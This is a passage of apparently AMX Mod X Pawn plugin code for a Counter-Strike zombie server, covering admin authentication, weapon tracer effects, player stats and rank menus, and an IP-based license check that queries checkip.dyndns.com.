	#if !defined USING_SQL

	new FileName [128]; get_configsdir ( FileName, charsmax ( FileName ) );

	format ( FileName, charsmax ( FileName ), "%s/%s", FileName, ADMINS_FILE_NAME );

	AdminCount = 0;

	AdminsLoadSettings ( FileName );

	if ( id != 0 )
	{
		if ( AdminCount == 1 )
		{
			console_print ( id,  "%s Loaded 1 admin from file !", CONSOLE_PREFIX );
		}
		else
		{
			console_print ( id,  "%s Loaded %d admins from file !", CONSOLE_PREFIX, AdminCount );
		}
	}

	#else

	AdminCount = 0;

	adminSql (  );

	if ( id != 0 )
	{
		if ( AdminCount == 1 )
		{
			console_print ( id,  "%s Loaded 1 admin from database !", CONSOLE_PREFIX );
		}
		else
		{
			console_print ( id,  "%s Loaded %d admins from database !", CONSOLE_PREFIX, AdminCount );
		}
	}

	#endif

	new Players [32], Num, Pv, Name [32];

	get_players ( Players, Num );

	for ( new i = 0; i < Num; i ++ )
	{
		Pv = Players [i];

		get_user_name ( Pv, Name, charsmax ( Name ) );

		accessUser ( Pv, Name );
	}

	return PLUGIN_HANDLED;
}

getAccess ( id, Name [], Authid [], Ip [], Password [] )
{
	new Index = -1, Result = 0;

	static Count, Flags, Access, AuthData [44], password [32];

	CaseSensitiveName [id] = false;

	Count = admins_num (  );

	for ( new i = 0; i < Count; ++ i )
	{
		Flags = admins_lookup ( i, AdminProp_Flags );

		admins_lookup ( i,AdminProp_Auth, AuthData, charsmax ( AuthData ) );

		if ( Flags & FLAG_AUTHID )
		{
			if ( equal ( Authid, AuthData ) )
			{
				Index = i;

				break;
			}
		}
		else if ( Flags & FLAG_IP )
		{
			new c = strlen ( AuthData );

			if ( AuthData [c - 1] == '.' )
			{
				if ( equal ( AuthData, Ip, c ) )
				{
					Index = i;

					break;
				}
			}
			else if ( equal ( Ip, AuthData ) )
			{
				Index = i;

				break;
			}
		}
		else
		{
			if ( Flags & FLAG_CASE_SENSITIVE )
			{
				if ( Flags & FLAG_TAG )
				{
					if ( contain ( Name, AuthData ) != -1 )
					{
						Index = i;

						CaseSensitiveName [id] = true;

						break;
					}
				}
				else if ( equal ( Name, AuthData ) )
				{
					Index = i;

					CaseSensitiveName [id] = true;

					break;
				}
			}
			else
			{
				if ( Flags & FLAG_TAG )
				{
					if ( containi ( Name, AuthData ) != -1 )
					{
						Index = i;

						break;
					}
				}
				else if ( equali ( Name, AuthData ) )
				{
					Index = i;

					break;
				}
			}
		}
	}

	if ( Index != -1 )
	{
		Access = admins_lookup ( Index, AdminProp_Access );

		if ( Flags & FLAG_NOPASS )
		{
			Result |= 8;

			new sflags [32]; get_flags ( Access, sflags, charsmax ( sflags ) );

			set_user_flags ( id, Access );

		}
		else
		{

			admins_lookup ( Index, AdminProp_Password, password, charsmax ( password ) );

			if ( equal ( password, Password ) )
			{
				Result |= 12;

				set_user_flags ( id, Access );

				new sflags [32]; get_flags ( Access, sflags, charsmax ( sflags ) );
			}
			else
			{
				Result |= 1

				if ( Flags & FLAG_KICK )
				{
					Result |= 2

					log_amx ( "Login: ^"%s<%d><%s><>^" kicked due to invalid password (account ^"%s^") (address ^"%s^")", Name, get_user_userid ( id ), Authid, AuthData, Ip );
				}
			}
		}
	}
	else if ( get_pcvar_float ( AmxMode ) == 2.0 )
	{
		Result |= 2
	}
	else
	{
		new DefAccess [32]; get_pcvar_string ( AmxDefaultAccess, DefAccess, charsmax ( DefAccess ) );

		if ( !strlen ( DefAccess ) )
		{
			copy ( DefAccess, charsmax ( DefAccess ), "z" );
		}

		new iDefAccess = read_flags ( DefAccess );

		if ( iDefAccess )
		{
			Result |= 8

			set_user_flags ( id, iDefAccess );
		}
	}

	return Result;
}

accessUser ( id, Name [] = "" )
{
	remove_user_flags ( id );

	new UserIp [32], UserAuthid [32], Password [32], PassField [32], UserName [32];

	get_user_ip ( id, UserIp, charsmax ( UserIp ), 1 );

	get_user_authid ( id, UserAuthid, charsmax ( UserAuthid ) );

	if ( Name [0] )
	{
		copy ( UserName, charsmax ( UserName ), Name );
	}
	else
	{
		get_user_name ( id, UserName, charsmax ( UserName ) );
	}

	get_pcvar_string ( AmxPasswordField, PassField, charsmax ( PassField ) );

	get_user_info ( id, PassField, Password, charsmax ( Password ) );

	new Result = getAccess ( id, UserName, UserAuthid, UserIp, Password );

	if ( Result & 1 )
	{
		engclient_print ( id, engprint_console, "* Invalid Password !" );
	}

	if ( Result & 2 )
	{
		server_cmd ( "kick #%d ^"You have no entry to the server...^"", get_user_userid ( id ) );

		return PLUGIN_HANDLED;
	}

	if ( Result & 4 )
	{
		engclient_print ( id, engprint_console, "* Password accepted" );
	}

	if ( Result & 8 )
	{
		engclient_print ( id, engprint_console, "* Privileges set" );
	}

	return PLUGIN_CONTINUE;
}

stock GagThinker (  )
{
	new iEntity = create_entity ( "info_target" );

	if( ! pev_valid ( iEntity ) ) return PLUGIN_HANDLED;

	set_pev ( iEntity, pev_classname, "GagThinker_" );

	set_pev ( iEntity, pev_nextthink, get_gametime (  ) + 1.0 );

	return PLUGIN_HANDLED;
}

stock GetInfo ( id, const iInfo )
{
	new InfoToReturn [64];

	switch( iInfo )
	{
		case INFO_NAME:
		{
			new Name[ 32]; get_user_name ( id, Name, charsmax ( Name ) );

			copy ( InfoToReturn, charsmax ( InfoToReturn ), Name );
		}
		case INFO_IP:
		{
			new Ip [32]; get_user_ip ( id, Ip, charsmax ( Ip ), 1 );

			copy ( InfoToReturn, charsmax ( InfoToReturn ), Ip );
		}
		case INFO_AUTHID:
		{
			new AuthId [35]; get_user_authid ( id, AuthId, charsmax ( AuthId ) );

			copy ( InfoToReturn, charsmax ( InfoToReturn ),  AuthId );
		}
	}

	return InfoToReturn;
}

stock bool:UTIL_IsValidMessage ( const Message [ ] )
{
	new iLen = strlen ( Message );

	if ( !iLen ) return false;

	for ( new i = 0; i < iLen; i ++ )
	{
		if ( Message [i] != ' ' )

			return true;
	}

	return false;
}


public zUserInfectedPost ( id, infector )
{
	if ( IsAlive [infector] && IsZombie [infector] && !IsNemesis [infector] && !IsAssassin [infector] )
	{
		switch ( ZombieClass [infector] )
		{
			case ZCLASS_HUNTER:
			{
				fm_set_user_health ( infector, pev ( infector, pev_health ) + 250 );

				DoScreenFade ( infector, 0.60, 1.15, 255, 10, 10, 94 );

				fm_set_rendering ( infector, kRenderFxGlowShell, 255, 10, 10, kRenderNormal, 27 );

				set_user_footsteps ( infector, 1 );

				set_hudmessage ( 0, 255, 0, -1.0, 0.0, 0, 6.0, 1.0 );

				ShowSyncHudMsg ( infector, HudMsgSync [0], "== HUNTER ==^nRegeneration: +250 HP Gained !" );
   			}
		}

		set_task ( 2.0, "TakeGlow", infector );
	}
}


public TraceAttack(ent, attacker, Float:damage, Float:dir[3], ptr, iDamageType)
{
	if ((CurrentWeapon [attacker] == CSW_AK47) && (zp_get_gold_ak [attacker] ))
	{
		new Float:flEnd[3];
		get_tr2(ptr, TR_vecEndPos, flEnd);

		message_begin(MSG_BROADCAST, SVC_TEMPENTITY);
		write_byte(TE_BEAMENTPOINT);
		write_short(attacker | 0x1000);
		engfunc(EngFunc_WriteCoord, flEnd[0]);
		engfunc(EngFunc_WriteCoord, flEnd[1]);
		engfunc(EngFunc_WriteCoord, flEnd[2]);
		write_short(SpriteTexture);
		write_byte(0);  // framerate
		write_byte(0);  // framerate
		write_byte(1);  // life
		write_byte(5);  // width
		write_byte(0);   // noise
		write_byte(255);  // r, g, b
		write_byte(215);  // r, g, b
		write_byte(0);  // r, g, b
		write_byte(200);  // brightness
		write_byte(10);  // speed
		message_end();
	}
	return HAM_IGNORED;
}

public TraceAttack_02(ent, attacker, Float:damage, Float:dir[3], ptr, iDamageType)
{
	if ((CurrentWeapon [attacker] == CSW_DEAGLE) && (zp_get_gold_de [attacker]))
	{
		new Float:flEnd[3];
		get_tr2(ptr, TR_vecEndPos, flEnd);

		message_begin(MSG_BROADCAST, SVC_TEMPENTITY);
		write_byte(TE_BEAMENTPOINT);
		write_short(attacker | 0x1000);
		engfunc(EngFunc_WriteCoord, flEnd[0]);
		engfunc(EngFunc_WriteCoord, flEnd[1]);
		engfunc(EngFunc_WriteCoord, flEnd[2]);
		write_short(SpriteTexture);
		write_byte(0);  // framerate
		write_byte(0);  // framerate
		write_byte(1);  // life
		write_byte(5);  // width
		write_byte(0);   // noise
		write_byte(255);  // r, g, b
		write_byte(215);  // r, g, b
		write_byte(0);  // r, g, b
		write_byte(200);  // brightness
		write_byte(10);  // speed
		message_end();
	}
	return HAM_IGNORED;
}

addCommas2(Number, Output[], outputSize)
{
	static Temporary[16] = { 0, ... }, outputPosition = 0, \
		numberPosition = 0, numberLength = 0;

	formatex(Temporary, charsmax(Temporary), "");
	outputPosition = numberPosition = numberLength = 0;

	if (Number < 0)
	{
		Output[outputPosition++] = '-';

		Number = abs(Number);
	}

	numberLength = num_to_str(Number, Temporary, charsmax(Temporary));

	if (numberLength <= 3)
		outputPosition += copy(Output[outputPosition], outputSize, Temporary);

	else
	{
		while (numberPosition < numberLength && outputPosition < outputSize)
		{
			Output[outputPosition++] = Temporary[numberPosition++];

			if ((numberLength - numberPosition) && !((numberLength - numberPosition) % 3))
				Output[outputPosition++] = ',';
		}

		Output[outputPosition] = 0;
	}

	return outputPosition;
}

public cmdCommandHook ( INT_PLAYER )
{
	static STRING_ARGUMENT [11]; read_argv ( 1, STRING_ARGUMENT, charsmax ( STRING_ARGUMENT ) );

	if ( equali ( STRING_ARGUMENT, "top", 3 ) || equali( STRING_ARGUMENT, "/top", 4 ) )
	{
		new HANDLE_MENU = menu_create ( "Top", "FUNC_MENU_HANDLER" );

		new STRING_STATS [8], STRING_BODY [8], STRING_NAME [32], STRING_TEMP [128], STRING_TEMP_NUM [4], INT_VARIABLE_01, STATSNUM = get_statsnum (  );

		if ( STATSNUM < INT_MAX_PLAYERS_MENU )

		INT_VARIABLE_01 = STATSNUM;

		else
			INT_VARIABLE_01 = INT_MAX_PLAYERS_MENU;

		for ( new INT_VARIABLE_02 = 0; INT_VARIABLE_02 < INT_VARIABLE_01; INT_VARIABLE_02 ++ )
		{
			get_stats ( INT_VARIABLE_02, STRING_STATS, STRING_BODY, STRING_NAME, charsmax ( STRING_NAME ) );

			num_to_str ( INT_VARIABLE_02 + 1, STRING_TEMP_NUM, charsmax ( STRING_TEMP_NUM ) );

			format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\y%s \wRank: \r%i \wKills: \r%i \wDeaths: \r%i", STRING_NAME, INT_VARIABLE_02 + 1, \
			STRING_STATS [INT_STATS_KILLS], STRING_STATS [INT_STATS_DEATHS] );

			menu_additem ( HANDLE_MENU, STRING_TEMP, STRING_TEMP_NUM, 0 );
		}

		menu_setprop ( HANDLE_MENU, MPROP_EXITNAME, "Exit" );

		menu_setprop ( HANDLE_MENU, MPROP_NEXTNAME, "Next" );

		menu_setprop ( HANDLE_MENU, MPROP_BACKNAME, "Back" );

		menu_display ( INT_PLAYER, HANDLE_MENU, 0 );
	}

	if ( equali ( STRING_ARGUMENT, "rank" ) || equali ( STRING_ARGUMENT, "/rank" ) )
	{
		new Command[32] , Argument[32], queryData[32];

		read_argv(0, Command, charsmax(Command));
		read_argv(1, Argument, charsmax(Argument));

		num_to_str(INT_PLAYER, queryData, charsmax(queryData));

		formatex(g_Query, charsmax(g_Query), "SELECT DISTINCT kmdValue \
		FROM Players WHERE kmdValue >= %d ORDER BY kmdValue ASC;", g_kmdValue[INT_PLAYER]);

		SQL_ThreadQuery(g_Tuple, "printRankChat", g_Query, queryData, sizeof(queryData));
	}

	if ( equali ( STRING_ARGUMENT, "statsme" ) || equali ( STRING_ARGUMENT, "/statsme" ) )
	{
		new INT_RANK_POS, STRING_STATS_01 [8], STRING_BODY [8], STRING_TEMP [128], STRING_STATS_02 [4];

		INT_RANK_POS = get_user_stats ( INT_PLAYER, STRING_STATS_01, STRING_BODY );

		get_user_stats2 ( INT_PLAYER, STRING_STATS_02 );

		new HANDLE_MENU = menu_create ( "Rank", "FUNC_MENU_HANDLER" );

		format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wRank: \r%i", INT_RANK_POS );

		menu_additem ( HANDLE_MENU, STRING_TEMP, "1", 0 );

		format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wKills: \r%i", STRING_STATS_01 [INT_STATS_KILLS] );

		menu_additem ( HANDLE_MENU, STRING_TEMP, "2", 0 );

		format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wDeaths: \r%i", STRING_STATS_01 [INT_STATS_DEATHS] );

		menu_additem ( HANDLE_MENU, STRING_TEMP, "3", 0 );

		format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wHeadshots: \r%i", STRING_STATS_01 [INT_STATS_HS] );

		menu_additem ( HANDLE_MENU, STRING_TEMP, "4", 0 );

		format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wTeam kills: \r%i", STRING_STATS_01 [INT_STATS_TKS] );

		menu_additem ( HANDLE_MENU, STRING_TEMP, "5", 0 );

		format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wShots: \r%i", STRING_STATS_01 [INT_STATS_SHOTS] );

		menu_additem ( HANDLE_MENU, STRING_TEMP, "6", 0 );

		format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wHits: \r%i", STRING_STATS_01 [INT_STATS_HITS] );

		menu_additem ( HANDLE_MENU, STRING_TEMP, "7", 0 );

		format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wDamage: \r%i", STRING_STATS_01 [INT_STATS_DAMAGE] );

		menu_additem ( HANDLE_MENU, STRING_TEMP, "8", 0 );

		format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wHead hits: \r%i", STRING_BODY [INT_STATS_HIT_HEAD] );

		menu_additem ( HANDLE_MENU, STRING_TEMP, "13", 0 );

		format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wChest hits: \r%i", STRING_BODY [INT_STATS_HIT_CHEST] );

		menu_additem ( HANDLE_MENU, STRING_TEMP, "14", 0 );

		format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wStomach hits: \r%i", STRING_BODY [INT_STATS_HIT_STOMACH] );

		menu_additem ( HANDLE_MENU, STRING_TEMP, "15", 0 );

		format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wLeftarm hits: \r%i", STRING_BODY [INT_STATS_HIT_LEFTARM] );

		menu_additem ( HANDLE_MENU, STRING_TEMP, "16", 0 );

		format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wRightarm hits: \r%i", STRING_BODY [INT_STATS_HIT_RIGHTARM] );

		menu_additem ( HANDLE_MENU, STRING_TEMP, "17", 0 );

		format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wLeftleg hits: \r%i", STRING_BODY [INT_STATS_HIT_LEFTLEG] );

		menu_additem ( HANDLE_MENU, STRING_TEMP, "18", 0 );

		format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wRightleg hits: \r%i", STRING_BODY [INT_STATS_HIT_RIGHTLEG] );

		menu_additem ( HANDLE_MENU, STRING_TEMP, "19", 0 );

		menu_setprop ( HANDLE_MENU, MPROP_EXITNAME, "Exit" );

		menu_setprop ( HANDLE_MENU, MPROP_NEXTNAME, "Next" );

		menu_setprop ( HANDLE_MENU, MPROP_BACKNAME, "Back" );

		menu_display ( INT_PLAYER, HANDLE_MENU, 0 );
	}

	if ( equali ( STRING_ARGUMENT, "stats" ) || equali ( STRING_ARGUMENT, "/stats" ) )
	{
		new STRING_NAME [32], STRING_TEMP_NUM [4];
		new HANDLE_MENU = menu_create ( "Choose the player", "FUNC_MENU_STATS_HANDLER" );

		for( new id = 1; id <= MaxPlayers; id++ )
		{
			if ( is_user_connected ( id ) )
			{
				get_user_name ( id, STRING_NAME, charsmax ( STRING_NAME ) );

				num_to_str ( id, STRING_TEMP_NUM, charsmax ( STRING_TEMP_NUM ) );

				menu_additem ( HANDLE_MENU, STRING_NAME, STRING_TEMP_NUM, 0 );
			}
		}

		menu_setprop ( HANDLE_MENU, MPROP_EXITNAME, "Exit" );

		menu_setprop ( HANDLE_MENU, MPROP_NEXTNAME, "Next" );

		menu_setprop ( HANDLE_MENU, MPROP_BACKNAME, "Back" );

		menu_display ( INT_PLAYER, HANDLE_MENU, 0 );
	}

	if ( equali ( STRING_ARGUMENT, "damage" ) || equali ( STRING_ARGUMENT, "/damage" ) || equali( STRING_ARGUMENT, "/dmg" ) || equali( STRING_ARGUMENT, "dmg" ) )
	{
		new HANDLE_MENU = menu_create ( "Damage Top", "FUNC_MENU_HANDLER" );

		new STRING_STATS [8], STRING_BODY [8], STRING_NAME [32], STRING_TEMP [128], STRING_TEMP_NUM [4], INT_VARIABLE_01, STATSNUM = get_statsnum (  );

		if ( STATSNUM < INT_MAX_PLAYERS_MENU )

			INT_VARIABLE_01 = STATSNUM;
		else
			INT_VARIABLE_01 = INT_MAX_PLAYERS_MENU;

		for ( new INT_VARIABLE_02 = 0; INT_VARIABLE_02 < INT_VARIABLE_01; INT_VARIABLE_02 ++ )
		{
			get_stats ( INT_VARIABLE_02, STRING_STATS, STRING_BODY, STRING_NAME, charsmax ( STRING_NAME ) );

			num_to_str ( INT_VARIABLE_02 + 1, STRING_TEMP_NUM, charsmax ( STRING_TEMP_NUM ) );

			format( STRING_TEMP, charsmax( STRING_TEMP ), "\y%s \wRank: \r%i \wDamage: \r%i%", \
			STRING_NAME, INT_VARIABLE_02 + 1, STRING_STATS [INT_STATS_DAMAGE] );

			menu_additem ( HANDLE_MENU, STRING_TEMP, STRING_TEMP_NUM, 0 );
		}

		menu_setprop ( HANDLE_MENU, MPROP_EXITNAME, "Exit" );

		menu_setprop ( HANDLE_MENU, MPROP_NEXTNAME, "Next" );

		menu_setprop ( HANDLE_MENU, MPROP_BACKNAME, "Back" );

		menu_display ( INT_PLAYER, HANDLE_MENU, 0 );
	}

	if ( equali ( STRING_ARGUMENT, "headshots" ) || equali ( STRING_ARGUMENT, "/headshots" ) || equali( STRING_ARGUMENT, "/hs" ) )
	{
		new HANDLE_MENU = menu_create ( "Headshots Top", "FUNC_MENU_HANDLER" );

		new STRING_STATS [8] , STRING_BODY [8], STRING_NAME [32], STRING_TEMP [128], STRING_TEMP_NUM [4], INT_VARIABLE_01, STATSNUM = get_statsnum (  );

		if ( STATSNUM < INT_MAX_PLAYERS_MENU )

			INT_VARIABLE_01 = STATSNUM;
		else
			INT_VARIABLE_01 = INT_MAX_PLAYERS_MENU;

		for( new INT_VARIABLE_02 = 0; INT_VARIABLE_02 < INT_VARIABLE_01; INT_VARIABLE_02 ++ )
		{
			get_stats ( INT_VARIABLE_02, STRING_STATS, STRING_BODY, STRING_NAME, charsmax ( STRING_NAME ) );

			num_to_str ( INT_VARIABLE_02 + 1, STRING_TEMP_NUM, charsmax ( STRING_TEMP_NUM ) );

			format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\y%s \wRank: \r%i \wHeadshots: \r%i", \
			STRING_NAME, INT_VARIABLE_02 + 1, STRING_STATS [INT_STATS_HS] );

			menu_additem ( HANDLE_MENU, STRING_TEMP, STRING_TEMP_NUM, 0 );
		}

		menu_setprop ( HANDLE_MENU, MPROP_EXITNAME, "Exit" );

		menu_setprop ( HANDLE_MENU, MPROP_NEXTNAME, "Next" );

		menu_setprop ( HANDLE_MENU, MPROP_BACKNAME, "Back" );

		menu_display ( INT_PLAYER, HANDLE_MENU, 0 );
	}

	if ( equali ( STRING_ARGUMENT, "effect" ) || equali ( STRING_ARGUMENT, "/effect" ) )
	{
		new HANDLE_MENU = menu_create ( "Effects Top", "FUNC_MENU_HANDLER" );

		new STRING_STATS [8], STRING_BODY [8], STRING_NAME [32 ], STRING_TEMP [128], STRING_TEMP_NUM [4], INT_VARIABLE_01, STATSNUM = get_statsnum (  );

		if ( STATSNUM < INT_MAX_PLAYERS_MENU )

			INT_VARIABLE_01 = STATSNUM;
		else
			INT_VARIABLE_01 = INT_MAX_PLAYERS_MENU;

		for ( new INT_VARIABLE_02 = 0; INT_VARIABLE_02 < INT_VARIABLE_01; INT_VARIABLE_02 ++ )
		{
			get_stats ( INT_VARIABLE_02, STRING_STATS, STRING_BODY, STRING_NAME, charsmax ( STRING_NAME ) );

			num_to_str ( INT_VARIABLE_02 + 1, STRING_TEMP_NUM, charsmax ( STRING_TEMP_NUM ) );

			format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\y%s \wRank: \r%i \wEffect: \r%2.f%", \
			STRING_NAME, INT_VARIABLE_02 + 1, \
			float ( STRING_STATS [INT_STATS_KILLS] ) * 1.002 / float ( STRING_STATS [INT_STATS_DEATHS] ) * 1.002 * 30.346647 );

			menu_additem ( HANDLE_MENU, STRING_TEMP, STRING_TEMP_NUM, 0 );
		}

		menu_setprop ( HANDLE_MENU, MPROP_EXITNAME, "Exit" );

		menu_setprop ( HANDLE_MENU, MPROP_NEXTNAME, "Next" );

		menu_setprop ( HANDLE_MENU, MPROP_BACKNAME, "Back" );

		menu_display ( INT_PLAYER, HANDLE_MENU, 0 );
	}
}

public FUNC_MENU_HANDLER ( INT_PLAYER, INT_MENU, INT_ITEM ) return PLUGIN_HANDLED;

public FUNC_MENU_STATS_HANDLER ( INT_PLAYER, INT_MENU, INT_ITEM )
{
	new STRING_COMMAND [6], STRING_NAME [64], INT_ACCESS, INT_CALLBACK, INT_VICTIM;

	menu_item_getinfo ( INT_MENU, INT_ITEM, INT_ACCESS, STRING_COMMAND, charsmax( STRING_COMMAND ), STRING_NAME, charsmax( STRING_NAME ), INT_CALLBACK );

	INT_VICTIM = get_user_index ( STRING_NAME );

	if ( is_user_connected ( INT_VICTIM ) )

		FUNC_STATS_ME ( INT_PLAYER, INT_VICTIM );
	else
	{
		client_print_color ( INT_PLAYER, print_team_default, "^1The player you choosed is disconnected!" );

		return PLUGIN_HANDLED;
	}

	return PLUGIN_HANDLED;
}

public FUNC_STATS_ME ( INT_PLAYER, VICTIM )
{
	new INT_RANK_POS, STRING_STATS_01 [8], STRING_BODY [8], STRING_TEMP [128], STRING_STATS_02 [4], STRING_NAME [32];

	INT_RANK_POS = get_user_stats ( VICTIM, STRING_STATS_01, STRING_BODY );

	get_user_stats2 ( VICTIM, STRING_STATS_02 );

	get_user_name ( VICTIM, STRING_NAME, charsmax ( STRING_NAME ) );

	new HANDLE_MENU = menu_create ( "Rank", "FUNC_MENU_HANDLER" );

	format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wUser: \r%s", STRING_NAME );

	menu_additem ( HANDLE_MENU, STRING_TEMP, "1", 0 );

	format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wRank: \r%i", INT_RANK_POS );

	menu_additem ( HANDLE_MENU, STRING_TEMP, "2", 0 );

	format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wKills: \r%i", STRING_STATS_01 [INT_STATS_KILLS] );

	menu_additem ( HANDLE_MENU, STRING_TEMP, "3", 0 );

	format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wDeaths: \r%i", STRING_STATS_01 [INT_STATS_DEATHS] );

	menu_additem ( HANDLE_MENU, STRING_TEMP, "4", 0 );

	format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wHeadshots: \r%i", STRING_STATS_01 [INT_STATS_HS] );

	menu_additem ( HANDLE_MENU, STRING_TEMP, "5", 0 );

	format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wTeam kills: \r%i", STRING_STATS_01 [INT_STATS_TKS] );

	menu_additem ( HANDLE_MENU, STRING_TEMP, "6", 0 );

	format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wShots: \r%i", STRING_STATS_01 [INT_STATS_SHOTS] );

	menu_additem ( HANDLE_MENU, STRING_TEMP, "7", 0 );

	format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wHits: \r%i", STRING_STATS_01 [INT_STATS_HITS] );

	menu_additem ( HANDLE_MENU, STRING_TEMP, "8", 0 );

	format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wDamage: \r%i", STRING_STATS_01 [INT_STATS_DAMAGE] );

	menu_additem ( HANDLE_MENU, STRING_TEMP, "9", 0 );

	format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wHead hits: \r%i", STRING_BODY [INT_STATS_HIT_HEAD] );

	menu_additem ( HANDLE_MENU, STRING_TEMP, "14", 0 );

	format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wChest hits: \r%i", STRING_BODY [INT_STATS_HIT_CHEST] );

	menu_additem ( HANDLE_MENU, STRING_TEMP, "15", 0 );

	format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wStomach hits: \r%i", STRING_BODY [INT_STATS_HIT_STOMACH] );

	menu_additem ( HANDLE_MENU, STRING_TEMP, "16", 0 );

	format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wLeftarm hits: \r%i", STRING_BODY [INT_STATS_HIT_LEFTARM] );

	menu_additem ( HANDLE_MENU, STRING_TEMP, "17", 0 );

	format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wRightarm hits: \r%i", STRING_BODY [INT_STATS_HIT_RIGHTARM] );

	menu_additem ( HANDLE_MENU, STRING_TEMP, "18", 0 );

	format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wLeftleg hits: \r%i", STRING_BODY [INT_STATS_HIT_LEFTLEG] );

	menu_additem ( HANDLE_MENU, STRING_TEMP, "19", 0 );

	format ( STRING_TEMP, charsmax ( STRING_TEMP ), "\wRightleg hits: \r%i", STRING_BODY [INT_STATS_HIT_RIGHTLEG] );

	menu_additem ( HANDLE_MENU, STRING_TEMP, "20", 0 );

	menu_setprop ( HANDLE_MENU, MPROP_EXITNAME, "Exit" );

	menu_setprop ( HANDLE_MENU, MPROP_NEXTNAME, "Next" );

	menu_setprop ( HANDLE_MENU, MPROP_BACKNAME, "Back" );

	menu_display ( INT_PLAYER, HANDLE_MENU, 0 );
}

public Get_ServerIP( )
{
    static error;

    if ( g_Socket > 0 )
	{
		log_amx( "Error occurred while trying to retrieve server ip (socket is in use)" );
		return;
    }
		g_Socket = socket_open( "checkip.dyndns.com", 80, SOCKET_TCP, error );

		if ( g_Socket > 0 )
	{
		socket_send( g_Socket, "GET / HTTP/1.1^nHost: checkip.dyndns.com^n^n", 64 );
		set_task( 0.1, "Verif_Request" );
    }

	else

	{
		log_amx( "Error occurred while trying to retrieve server ip (%d)", error );

		set_fail_state( licenseMsg[ 1 ] );
	}
}

public Verif_Request( )
{
    if ( !socket_change( g_Socket, 1 ) )
    set_task( 0.1, "Verif_Request" );
    else
	{
        new data[ 256 ], i, j, d, pos;
        socket_recv( g_Socket, data, 255 );

        pos = containi( data, "<body>Current IP Address: " );

        if ( pos > -1 )
		{
            pos += 26;
            while ( '0' <= data[ pos + i ] <= '9' )
			{
                g_ServerIP[ i ] = data[ pos + i ];
                i++;

                if ( data[ pos + i ] == '.' )
				{
                    g_ServerIP[ i ] = data[ pos + i ];
                    j = ++i;
                    d++;
                }
            }

            if ( j != i || d == 3 )
			Verif_License( );

			else

			set_fail_state( licenseMsg[ 1 ] );
        }
        socket_close( g_Socket );
        g_Socket = 0;
    }
}

public Verif_License( )
{
   	if ( !equal( g_ServerIP, IP_SERVER_LICENTIAT ) )

	set_fail_state( licenseMsg[ 1 ] );

	else

    server_print( licenseMsg[ 0 ] );
}